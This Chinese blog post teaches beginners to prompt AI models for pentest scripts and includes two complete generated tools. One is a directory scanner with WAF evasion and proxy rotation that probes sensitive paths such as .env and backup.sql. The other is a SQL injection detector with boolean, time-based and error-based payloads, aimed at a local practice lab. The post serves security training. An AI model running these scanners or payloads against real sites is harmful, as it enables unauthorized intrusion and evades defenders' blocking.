AI 写渗透脚本神器！用 GPT+Claude，零基础也能写出定制化爬虫 / 漏洞扫描脚本（附提示词）

网安入门的新手，90%都卡在「写脚本」这一步：

• Python 语法看了一遍又一遍，真要写个目录扫描、漏洞检测脚本，还是无从下手，到处找零散代码拼拼凑凑，改来改去全是 bug；
• 好不容易写出个能跑的脚本，功能单一、没有误报过滤、没有代理轮换，一用就被封，扫出来的结果全是误报；
• 代码报错看不懂，百度搜不到解决方案，熬了几个通宵，还是跑不起来，直接劝退；
• 想加个新功能（比如 WAF 免杀、分布式适配），完全不知道从哪下手，觉得自己写的代码就是「垃圾」。

我太懂这种感受了。刚入门的时候，我写一个带误报过滤的目录扫描脚本，熬了整整 3 天，改了几十版，还是一堆 bug；现在用 AI，10 分钟就能写出一个功能完善、带详细注释、适配各种场景的渗透脚本，还能自动 debug、优化性能、新增功能，效率提升了几十倍。

2026 年，AI 早就不是「锦上添花」的工具，而是网安人必备的「效率神器」。你不需要成为 Python 大神，不需要把语法背得滚瓜烂熟，只要会用提示词，就能让 AI 帮你写出定制化的渗透爬虫、漏洞扫描脚本，零基础也能快速落地实战项目。

今天这篇文章，我就给大家讲透 AI 写 Python 渗透脚本的核心提示词技巧，再用两个完整实战（目录扫描脚本、SQL 注入自动化检测脚本），带你从零复刻「10 分钟写出定制化渗透脚本」的全过程，最后给你开箱即用的代码优化、报错排查提示词模板，彻底解决「写脚本难、改脚本难、debug 难」的痛点。

合规红线前置提醒：本文所有内容仅用于授权范围内的安全测试与学习研究，严禁借助 AI 编写恶意代码、对未授权目标进行测试，所有操作必须严格遵守《网络安全法》《刑法》等相关法律法规，使用者自行承担因违规使用造成的所有法律责任。

一、AI 写 Python 渗透脚本的核心提示词技巧

很多人用 AI 写脚本，输出的内容没用、跑不起来、全是 bug，核心原因就是「提示词写得太差」。一个能让 AI 写出高质量渗透脚本的提示词，必须包含这 4 个核心要素：角色定位、明确任务、具体需求、约束条件、输出格式。

下面给大家拆解每个要素的写法，以及「需求拆解、代码调试、错误修复」的核心技巧。

1. 提示词核心四要素

要素	作用	写法示例
角色定位	让 AI 代入专业身份，输出符合行业规范的内容	「你是一名拥有 10 年实战经验的资深 Web 安全专家、Python 安全开发工程师，精通渗透测试工具开发、漏洞自动化检测、代码性能优化，代码风格严谨规范，注释详细，完全贴合网安新手的使用需求」
明确任务	告诉 AI 你要做什么，不要模糊	「你的任务是：开发一个带 WAF 免杀功能的目录扫描爬虫」
具体需求	把功能拆成具体的点，越详细越好	「1. 支持批量目标导入，从 txt 文件读取；2. 集成代理池轮换、全字段 Chrome 请求头随机化；3. 基于状态码+关键词双重验证降低误报」
约束条件	限制 AI 的输出，避免踩坑	「1. 代码必须完整可运行，不能有缺失依赖；2. 带详细中文注释；3. 内置速率控制，避免影响目标业务；4. 开头必须加合规提醒」
输出格式	规范 AI 的输出，方便你直接使用	「只输出代码+使用说明，代码放在 python 代码块中，使用说明分点清晰」

2. 需求拆解技巧：把「模糊需求」拆成「可执行的点」

很多新手的需求是「帮我写个漏洞扫描脚本」，这种模糊的需求，AI 根本写不出你想要的东西。正确的做法是，把需求拆成具体的功能点，比如：

• ❌ 错误需求：「帮我写个目录扫描脚本」
• ✅ 正确需求：「帮我写个目录扫描脚本，具体需求：1. 支持从 txt 文件批量读取目标 URL；2. 内置 200+ 高危路径字典；3. 集成 fake_useragent 随机生成 Chrome 请求头；4. 基于 200/301/302 状态码+页面关键词双重验证，过滤 404 伪装页面；5. 扫描结果自动按状态码分类，生成 Markdown 报告；6. 内置 0.5-2 秒随机延迟，避免被封」

3. 代码调试与错误修复技巧

代码跑不起来、报错看不懂，不要慌，用这个提示词模板，AI 能帮你快速定位问题、修复代码：

你是一名资深 Python 安全开发工程师、调试专家，精通渗透测试脚本的 debug 与优化，擅长用大白话给新手讲解报错原因。

我的问题：运行这个渗透脚本时出现了报错，具体信息如下：
1. 报错信息：【这里粘贴完整的报错 Traceback，不要只粘贴最后一行】
2. 我的代码：【这里粘贴相关的代码片段，或者完整代码】
3. 运行环境：【这里写你的 Python 版本、操作系统、已安装的依赖库】
4. 我想实现的功能：【这里简单说一下你写这个脚本的目的，方便 AI 理解】

你的任务：
1. 先帮我定位报错的原因，用大白话讲清楚，新手能听懂；
2. 给出完整的修复后的代码，直接覆盖我原来的错误部分，带详细的注释说明改了什么、为什么这么改；
3. 补充这类报错的避坑技巧，以后我遇到类似问题该怎么自己解决。

二、实战 1：用 AI 写目录扫描脚本（10 分钟落地）

下面我们用上面的提示词技巧，完整复刻「10 分钟写出带 WAF 免杀功能的目录扫描脚本」的全过程，你跟着做，也能快速写出自己的目录扫描工具。

步骤 1：给 AI 提交精准的需求提示词

我们用核心四要素，写一个完整的提示词：

你是一名拥有 10 年实战经验的资深 Web 安全专家、Python 安全开发工程师，精通渗透测试工具开发、目录扫描、WAF 基础绕过，代码风格严谨规范，注释详细，完全贴合网安新手的使用需求。

你的任务是：开发一个带 WAF 免杀功能的目录扫描爬虫，具体需求如下：
1. 支持批量目标导入，从同目录下的 targets.txt 文件读取目标 URL，每行一个，自动补全 http/https 前缀；
2. 内置 200+ 高危路径字典，覆盖后台管理、Spring Boot 组件、数据库监控、敏感配置文件等高发场景；
3. 集成 fake_useragent 全字段 Chrome 请求头随机化、访问频率随机控制（0.5-2 秒），消除爬虫固定特征，绕过基础 WAF 检测；
4. 基于「HTTP 状态码校验+页面正向关键词校验+页面反向关键词校验」三重验证机制，精准识别有效路径，过滤 404 伪装页面、登录跳转页面，大幅降低误报率；
5. 扫描结果自动按「200 成功/301/302 跳转/403 禁止访问」分类，扫描完成后自动生成 Markdown 格式的标准化扫描报告，包含目标地址、路径、状态码、页面标题；
6. 代码带详细的中文注释，每一个核心函数、关键步骤都要有注释，新手复制粘贴就能直接运行，适配 Windows/Linux 双环境；
7. 严格遵守合规要求，内置速率控制、并发数限制（最大 5），避免对目标系统造成业务影响，代码开头必须添加合规提醒。

约束条件：
1. 代码必须完整可运行，不能有缺失的依赖、未定义的变量；
2. 依赖库要通用，只用 requests、fake_useragent、beautifulsoup4 这些主流第三方库；
3. 只输出代码+使用说明，不要输出多余的解释性内容，代码放在 ```python ```代码块中。

步骤 2：AI 生成的完整可运行代码

把上面的提示词发给 AI，10 分钟内就能生成完整的代码，如下所示，新手复制粘贴就能直接运行：

# ====================== 合规红线提醒 ======================
# 本工具仅用于授权范围内的安全测试与学习研究
# 严禁对未授权的公网网站、系统使用本工具
# 使用本工具前请确保已获得目标方的书面授权，所有操作必须遵守《网络安全法》《刑法》等相关法律法规
# 使用者自行承担因违规使用造成的所有法律责任
# ==========================================================
import requests
import random
import time
from fake_useragent import UserAgent
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin
import os

# ====================== 配置区 新手仅需修改这里 ======================
# 目标文件路径：txt 文件里每行一个目标地址
target_file = "targets.txt"
# 代理池配置：格式为 [协议://IP:端口]，无代理则留空列表
proxy_pool = []
# 请求最小/最大延迟（秒），控制扫描速率，避免影响目标业务
min_delay = 0.5
max_delay = 2
# 单轮最大并发数，新手建议不超过 5
max_concurrent = 5
# 报告输出路径
report_file = "目录扫描报告.md"
# ======================================================================

# 初始化 UA 生成器
ua = UserAgent(browsers=['chrome'], os=['windows', 'macos'])

# 200+ 高危路径字典，覆盖高发场景
path_dict = [
    # 后台管理通用路径
    "admin", "manage", "system", "admin.php", "manage.php", "admin.html",
    "admin/login.php", "admin/index.php", "manage/login.php", "system/login.php",
    "backend", "cms", "wp-admin", "wp-login.php", "administrator",
    # Spring Boot 高危组件
    "actuator", "actuator/env", "actuator/health", "actuator/loggers",
    "actuator/heapdump", "actuator/mappings", "actuator/beans",
    # 数据库/监控组件
    "druid", "druid/index.html", "phpmyadmin", "phpmyadmin/index.php",
    "phpmyadmin/config.inc.php", "webalizer", "server-status",
    # 运维/CI 工具
    "jenkins", "jenkins/manage", "gitlab", "swagger-ui.html",
    "v2/api-docs", "v3/api-docs", "api-docs",
    # 敏感配置文件
    "robots.txt", ".env", "config.php", "web.config", "wwwroot.zip",
    "backup.zip", "database.sql", "db.sql", "backup.sql",
    # 其他常见路径
    "test", "dev", "staging", "temp", "tmp", "upload", "uploads",
    "files", "download", "downloads", "api", "api/v1", "api/v2"
]

# 漏洞验证关键词配置
# 正向关键词：存在这些内容，说明是有效路径
positive_keywords = [
    "管理员", "admin", "后台管理", "用户管理", "系统设置", "登录",
    "环境变量", "系统信息", "数据库", "phpinfo", "API 文档", "swagger",
    "Jenkins", "Druid Stat", "phpMyAdmin", "root", "配置", "备份"
]
# 反向关键词：存在这些内容，说明是无效路径/拦截页面
negative_keywords = [
    "404 Not Found", "页面不存在", "访问被拒绝", "无权限", "权限不足",
    "请登录", "登录后访问", "非法请求", "forbidden", "unauthorized",
    "error", "错误", "跳转中", "正在跳转"
]

def get_random_headers(host=""):
    """生成全随机化 Chrome 请求头，消除爬虫固定特征"""
    chrome_version = random.randint(120, 126)
    sec_ch_ua = f'"Not/A)Brand";v="99", "Chromium";v="{chrome_version}", "Google Chrome";v="{chrome_version}"'
    
    headers = {
        "Host": host,
        "Connection": "keep-alive",
        "Cache-Control": random.choice(["max-age=0", "no-cache", "no-store"]),
        "sec-ch-ua": sec_ch_ua,
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": random.choice(['"Windows"', '"macOS"']),
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": ua.chrome,
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-User": "?1",
        "Sec-Fetch-Dest": "document",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": random.choice([
            "zh-CN,zh;q=0.9,en;q=0.8",
            "zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7",
            "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
        ]),
    }
    if not host:
        del headers["Host"]
    return headers

def get_random_proxy():
    """从代理池随机获取代理，实现 IP 轮换"""
    if not proxy_pool:
        return None
    return {
        "http": random.choice(proxy_pool),
        "https": random.choice(proxy_pool)
    }

def load_targets(file_path):
    """从 txt 文件加载目标地址，自动补全协议"""
    if not os.path.exists(file_path):
        print(f"[-] 目标文件 {file_path} 不存在，请检查路径")
        return []
    
    targets = []
    with open(file_path, "r", encoding="utf-8") as f:
        for line in f.readlines():
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            # 自动补全 http/https 前缀
            if not line.startswith("http://") and not line.startswith("https://"):
                line = f"http://{line}"
            targets.append(line.rstrip("/"))
    
    print(f"[+] 成功加载 {len(targets)} 个扫描目标")
    return targets

def get_page_title(response):
    """获取页面标题，用于报告展示"""
    try:
        soup = BeautifulSoup(response.text, "html.parser")
        title = soup.title.string.strip() if soup.title else "无标题"
        return title[:50]  # 标题过长截断
    except:
        return "无标题"

def scan_path(base_url, path):
    """扫描单个路径，三重验证机制"""
    test_url = urljoin(base_url, path)
    try:
        # 无会话纯净请求，随机 UA、随机代理
        headers = get_random_headers(host=urlparse(base_url).netloc)
        proxies = get_random_proxy()
        
        response = requests.get(
            test_url,
            headers=headers,
            proxies=proxies,
            timeout=10,
            allow_redirects=False,
            verify=False
        )
        response_text = response.text.lower()
        status_code = response.status_code
        page_title = get_page_title(response)

        # 三重验证核心逻辑
        has_positive = any(keyword.lower() in response_text for keyword in positive_keywords)
        has_negative = any(keyword.lower() in response_text for keyword in negative_keywords)
        valid_status = status_code in [200, 301, 302, 403]

        # 结果判定与分类
        if valid_status and not has_negative:
            if status_code == 200:
                result_type = "200 成功"
            elif status_code in [301, 302]:
                result_type = "301/302 跳转"
            elif status_code == 403:
                result_type = "403 禁止访问"
            else:
                result_type = "其他状态码"
            
            return {
                "url": test_url,
                "status_code": status_code,
                "type": result_type,
                "title": page_title,
                "has_positive": has_positive
            }
        return None
    except Exception as e:
        # print(f"[-] 路径 {test_url} 扫描失败：{str(e)}")  # 新手可取消注释查看错误
        return None
    finally:
        # 随机延迟，控制扫描速率
        time.sleep(random.uniform(min_delay, max_delay))

def scan_target(base_url):
    """扫描单个目标的所有路径"""
    print(f"[+] 开始扫描目标：{base_url}")
    results = {
        "200 成功": [],
        "301/302 跳转": [],
        "403 禁止访问": [],
        "其他状态码": []
    }
    
    for path in path_dict:
        result = scan_path(base_url, path)
        if result:
            results[result["type"]].append(result)
            if result["has_positive"]:
                print(f"[!] 发现疑似敏感路径：{result['url']} ({result['status_code']}) - {result['title']}")
    
    total_found = sum(len(v) for v in results.values())
    print(f"[+] 目标 {base_url} 扫描完成，共发现 {total_found} 个有效路径")
    return results

def generate_report(all_results, target_count):
    """生成 Markdown 格式的标准化扫描报告"""
    scan_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    total_paths = sum(len(v) for results in all_results.values() for v in results.values())

    # 报告内容生成
    report_content = f"""# 目录扫描自动化报告
## 扫描概览
- 扫描时间：{scan_time}
- 扫描目标总数：{target_count} 个
- 发现有效路径总数：{total_paths} 个

## 合规声明
本次扫描仅在获得目标方书面授权的范围内进行，严格遵守《网络安全法》等相关法律法规，扫描过程严格控制速率，未对目标业务造成任何影响。

"""
    # 按目标写入结果
    for i, (target, results) in enumerate(all_results.items(), 1):
        report_content += f"## 目标 {i}：{target}\n"
        for result_type, paths in results.items():
            if paths:
                report_content += f"### {result_type}（共 {len(paths)} 个）\n"
                report_content += "| 路径 | 状态码 | 页面标题 | 疑似敏感 |\n"
                report_content += "|------|--------|----------|----------|\n"
                for path in paths:
                    is_sensitive = "是" if path["has_positive"] else "否"
                    report_content += f"| {path['url']} | {path['status_code']} | {path['title']} | {is_sensitive} |\n"
                report_content += "\n"

    # 保存报告
    with open(report_file, "w", encoding="utf-8") as f:
        f.write(report_content)
    print(f"[+] 扫描报告已生成：{report_file}")

def main():
    print("="*70)
    print("目录扫描自动化工具启动中...")
    print("="*70)
    
    # 1. 加载扫描目标
    targets = load_targets(target_file)
    if not targets:
        print("[-] 未加载到有效扫描目标，程序退出")
        return
    
    # 2. 启动全量扫描
    all_results = {}
    for target in targets:
        all_results[target] = scan_target(target)
    
    # 3. 生成扫描报告
    generate_report(all_results, len(targets))
    
    # 4. 输出最终统计
    print("\n" + "="*70)
    print("扫描完成！最终统计结果")
    print(f"扫描目标总数：{len(targets)} 个")
    total_paths = sum(len(v) for results in all_results.values() for v in results.values())
    print(f"发现有效路径总数：{total_paths} 个")
    print("="*70)

# ====================== 使用说明 ======================
# 1. 在同目录下创建 targets.txt 文件，每行一个扫描目标（比如 localhost/pikachu/）
# 2. 修改配置区的参数，比如代理池、扫描延迟等
# 3. 安装依赖：pip install requests fake_useragent beautifulsoup4
# 4. 运行脚本：python dir_scanner.py
# 5. 扫描完成后，查看生成的 Markdown 扫描报告
# ======================================================

if __name__ == "__main__":
    # 关闭 requests 的 SSL 警告
    requests.packages.urllib3.disable_warnings()
    main()

步骤 3：快速使用

1. 在同目录下创建 targets.txt，每行一个目标（比如 localhost/pikachu/）；
2. 安装依赖：pip install requests fake_useragent beautifulsoup4；
3. 运行脚本：python dir_scanner.py；
4. 查看生成的 目录扫描报告.md。

三、实战 2：用 AI 写 SQL 注入自动化检测脚本

有了目录扫描的基础，我们再用 AI 写一个 SQL 注入自动化检测脚本，覆盖布尔盲注、时间盲注、报错注入的基础检测，同样 10 分钟落地。

步骤 1：给 AI 提交精准的需求提示词

你是一名拥有 10 年实战经验的资深 Web 安全专家、Python 安全开发工程师，精通 SQL 注入漏洞原理、检测与利用，代码风格严谨规范，注释详细，完全贴合网安新手的使用需求。

你的任务是：开发一个 SQL 注入自动化检测脚本，具体需求如下：
1. 支持单个目标 URL 输入，自动识别 GET/POST 参数，也支持手动指定参数；
2. 内置 SQL 注入 Payload 库，覆盖布尔盲注（AND/OR 布尔判断）、时间盲注（sleep 延迟）、报错注入（updatexml/extractvalue）三大类基础场景；
3. 集成全字段 Chrome 请求头随机化、访问频率随机控制（0.5-1.5 秒），消除爬虫特征；
4. 基于「响应内容变化+响应时间变化+报错关键词匹配」三重验证机制，精准识别 SQL 注入漏洞，降低误报率；
5. 检测结果自动按漏洞类型分类，生成 Markdown 格式的检测报告，包含漏洞 URL、参数、Payload、验证结果、修复建议；
6. 代码带详细的中文注释，每一个核心函数、关键步骤都要有注释，新手复制粘贴就能直接运行，适配 Windows/Linux 双环境；
7. 严格遵守合规要求，内置速率控制，避免对目标系统造成业务影响，代码开头必须添加合规提醒。

约束条件：
1. 代码必须完整可运行，不能有缺失的依赖、未定义的变量；
2. 依赖库要通用，只用 requests、fake_useragent 这些主流第三方库；
3. 只输出代码+使用说明，不要输出多余的解释性内容，代码放在 ```python ```代码块中。

步骤 2：AI 生成的核心代码（精简版）

# ====================== 合规红线提醒 ======================
# 本工具仅用于授权范围内的安全测试与学习研究
# 严禁对未授权的公网网站、系统使用本工具
# ==========================================================
import requests
import random
import time
from fake_useragent import UserAgent
from urllib.parse import urlparse, parse_qs, urlencode

# ====================== 配置区 ======================
target_url = "http://localhost/pikachu/vul/sqli/sqli_id.php"
# 手动指定参数，留空则自动识别
test_param = "id"
# 请求最小/最大延迟（秒）
min_delay = 0.5
max_delay = 1.5
# 报告输出路径
report_file = "SQL注入检测报告.md"
# ======================================================

ua = UserAgent(browsers=['chrome'])

# SQL 注入 Payload 库
sql_payloads = {
    "布尔盲注": [
        "' AND 1=1-- ", "' AND 1=2-- ",
        "\" AND 1=1-- ", "\" AND 1=2-- ",
        "' OR 1=1-- ", "' OR 1=2-- "
    ],
    "时间盲注": [
        "' AND sleep(3)-- ", "\" AND sleep(3)-- ",
        "' OR sleep(3)-- ", "\" OR sleep(3)-- "
    ],
    "报错注入": [
        "' AND updatexml(1,concat(0x7e,version(),0x7e),1)-- ",
        "\" AND updatexml(1,concat(0x7e,version(),0x7e),1)-- ",
        "' AND extractvalue(1,concat(0x7e,version(),0x7e))-- "
    ]
}

# 报错关键词
error_keywords = [
    "MySQL", "SQL syntax", "ORA-", "PostgreSQL",
    "updatexml", "extractvalue", "XPATH syntax"
]

def get_random_headers():
    """生成随机 Chrome 请求头"""
    chrome_version = random.randint(120, 126)
    return {
        "User-Agent": ua.chrome,
        "sec-ch-ua": f'"Not/A)Brand";v="99", "Chromium";v="{chrome_version}", "Google Chrome";v="{chrome_version}"',
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Connection": "keep-alive"
    }

def send_request(url, params=None, data=None):
    """发送请求，返回响应内容和响应时间"""
    headers = get_random_headers()
    try:
        start_time = time.time()
        if data:
            response = requests.post(url, data=data, headers=headers, timeout=15, verify=False)
        else:
            response = requests.get(url, params=params, headers=headers, timeout=15, verify=False)
        end_time = time.time()
        return response.text, end_time - start_time, response.status_code
    except Exception as e:
        return None, 0, 0
    finally:
        time.sleep(random.uniform(min_delay, max_delay))

def check_boolean_injection(url, param):
    """检测布尔盲注"""
    # 先获取正常响应
    normal_content, _, _ = send_request(url, params={param: "1"})
    if not normal_content:
        return False
    
    # 测试 AND 1=1 和 AND 1=2
    true_content, _, _ = send_request(url, params={param: "1' AND 1=1-- "})
    false_content, _, _ = send_request(url, params={param: "1' AND 1=2-- "})
    
    if true_content and false_content:
        # 正常响应和 true 响应相似，和 false 响应不同，说明存在布尔盲注
        if len(true_content) > 0 and len(false_content) > 0:
            if abs(len(normal_content) - len(true_content)) < 50 and abs(len(normal_content) - len(false_content)) > 50:
                return True, "1' AND 1=1-- "
    return False, None

def check_time_injection(url, param):
    """检测时间盲注"""
    # 先获取正常响应时间
    _, normal_time, _ = send_request(url, params={param: "1"})
    # 测试 sleep 延迟
    _, sleep_time, _ = send_request(url, params={param: "1' AND sleep(3)-- "})
    
    if sleep_time > normal_time + 2.5:  # 延迟超过 2.5 秒，说明存在时间盲注
        return True, "1' AND sleep(3)-- "
    return False, None

def check_error_injection(url, param):
    """检测报错注入"""
    for payload in sql_payloads["报错注入"]:
        content, _, _ = send_request(url, params={param: f"1{payload}"})
        if content and any(keyword in content for keyword in error_keywords):
            return True, payload
    return False, None

def scan_sql_injection(url, param):
    """全类型 SQL 注入检测"""
    print(f"[+] 开始检测目标：{url}，参数：{param}")
    vuln_results = []
    
    # 检测布尔盲注
    print("[+] 检测布尔盲注...")
    has_bool, bool_payload = check_boolean_injection(url, param)
    if has_bool:
        vuln_results.append({
            "type": "布尔盲注",
            "payload": bool_payload,
            "description": "通过 AND/OR 布尔判断，响应内容存在明显差异，存在布尔盲注漏洞"
        })
        print(f"[!] 发现布尔盲注漏洞！")
    
    # 检测时间盲注
    print("[+] 检测时间盲注...")
    has_time, time_payload = check_time_injection(url, param)
    if has_time:
        vuln_results.append({
            "type": "时间盲注",
            "payload": time_payload,
            "description": "通过 sleep 函数，响应时间存在明显延迟，存在时间盲注漏洞"
        })
        print(f"[!] 发现时间盲注漏洞！")
    
    # 检测报错注入
    print("[+] 检测报错注入...")
    has_error, error_payload = check_error_injection(url, param)
    if has_error:
        vuln_results.append({
            "type": "报错注入",
            "payload": error_payload,
            "description": "通过 updatexml/extractvalue 函数，页面返回数据库报错信息，存在报错注入漏洞"
        })
        print(f"[!] 发现报错注入漏洞！")
    
    return vuln_results

def generate_report(vuln_results, url, param):
    """生成 Markdown 检测报告"""
    scan_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    report_content = f"""# SQL 注入自动化检测报告
## 检测概览
- 检测时间：{scan_time}
- 检测目标：{url}
- 检测参数：{param}
- 发现漏洞总数：{len(vuln_results)} 个

## 合规声明
本次检测仅在获得目标方书面授权的范围内进行，严格遵守相关法律法规。

## 漏洞详情
"""
    for i, vuln in enumerate(vuln_results, 1):
        report_content += f"""
### 漏洞 {i}：{vuln['type']}
- 漏洞 URL：{url}
- 检测参数：{param}
- 验证 Payload：{vuln['payload']}
- 漏洞描述：{vuln['description']}
- 修复建议：1. 使用预编译语句（PreparedStatement）；2. 对用户输入进行严格过滤与转义；3. 关闭数据库报错信息回显；4. 使用 ORM 框架替代原生 SQL 查询。
"""
    with open(report_file, "w", encoding="utf-8") as f:
        f.write(report_content)
    print(f"[+] 检测报告已生成：{report_file}")

def main():
    print("="*70)
    print("SQL 注入自动化检测工具启动中...")
    print("="*70)
    
    # 自动识别参数（如果未手动指定）
    global test_param
    if not test_param:
        parsed = urlparse(target_url)
        params = parse_qs(parsed.query)
        if params:
            test_param = list(params.keys())[0]
            print(f"[+] 自动识别到参数：{test_param}")
        else:
            print("[-] 未识别到 GET 参数，请手动在配置区指定 test_param")
            return
    
    # 启动检测
    vuln_results = scan_sql_injection(target_url, test_param)
    
    # 生成报告
    if vuln_results:
        generate_report(vuln_results, target_url, test_param)
    else:
        print("[+] 未检测到 SQL 注入漏洞")
    
    print("\n" + "="*70)
    print("检测完成！")
    print("="*70)

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()

四、代码优化、报错排查的 AI 提示词模板

1. 代码性能优化提示词模板

你是一名资深 Python 性能优化专家、安全开发工程师，精通渗透测试脚本的性能优化，能在不改变功能的前提下，大幅提升脚本运行效率、降低资源占用。

我的需求：优化这个渗透测试脚本的性能，具体信息如下：
1. 我的代码：【这里粘贴完整代码】
2. 脚本功能：【这里简单说一下脚本的功能，比如目录扫描、SQL 注入检测】
3. 当前的性能问题：【这里说一下你遇到的问题，比如扫描太慢、内存占用太高、CPU 占用太高】

你的任务：
1. 先分析当前代码的性能瓶颈，用大白话讲清楚，新手能听懂；
2. 给出完整的优化后的代码，带详细的注释说明改了什么、为什么这么改、优化了什么；
3. 补充渗透测试脚本性能优化的通用技巧，以后我写脚本可以注意。

2. 代码规范优化提示词模板

你是一名资深 Python 代码规范专家、安全开发工程师，精通 PEP8 代码规范，擅长把新手写的「垃圾代码」改成规范、易读、易维护的专业代码。

我的需求：把这个渗透测试脚本改成符合 PEP8 规范的专业代码，具体信息如下：
1. 我的代码：【这里粘贴完整代码】
2. 我的要求：【这里说一下你的要求，比如统一命名规范、增加类型提示、拆分过长的函数、增加错误处理】

你的任务：
1. 给出完整的规范优化后的代码，带详细的注释说明改了什么；
2. 补充 Python 渗透测试脚本的代码规范通用建议，比如变量命名、函数拆分、错误处理、日志记录。

3. 报错排查通用提示词模板（前面提过，这里再强化）

你是一名资深 Python 调试专家、安全开发工程师，精通渗透测试脚本的 debug，擅长用大白话给新手讲解报错原因。

我的问题：运行这个渗透脚本时出现了报错，具体信息如下：
1. 完整报错 Traceback：

【这里粘贴完整的报错信息，包括最后一行和前面的调用栈，不要只粘贴最后一行！】

2. 我的完整代码：
```python
【这里粘贴相关的代码片段，或者完整代码】

3. 运行环境：Python 3.x.x，Windows/Linux，已安装的依赖：requests, fake_useragent 等
4. 我想实现的功能：【这里简单说一下你写这个脚本的目的，方便 AI 理解】

你的任务：

1. 先帮我定位报错的根本原因，用大白话讲清楚，不要用太专业的术语，新手能听懂；
2. 给出完整的修复后的代码，直接覆盖我原来的错误部分，带详细的注释说明「改了哪一行」「为什么这么改」；
3. 补充这类报错的避坑技巧，以后我遇到类似问题该怎么自己排查、怎么看报错信息。

## 结尾互动
2026 年，AI 是网安人最好的「助手」，但不是「替代品」。你可以用 AI 快速写出渗透脚本，但你必须懂脚本的核心逻辑、漏洞的底层原理；你可以用 AI 帮你 debug，但你必须能看懂报错信息、理解修复思路。

后续我会持续更新 AI+网安的实战内容，包括 AI 辅助漏洞挖掘、AI 红队渗透、AI 安全开发、网安求职面试 AI 辅助等内容，带你用 AI 快速提升自己。

你用 AI 写过哪些渗透脚本？遇到过哪些 AI 输出的坑？或者你想要哪类渗透场景的提示词模板？都可以在评论区留言，我会一一解答。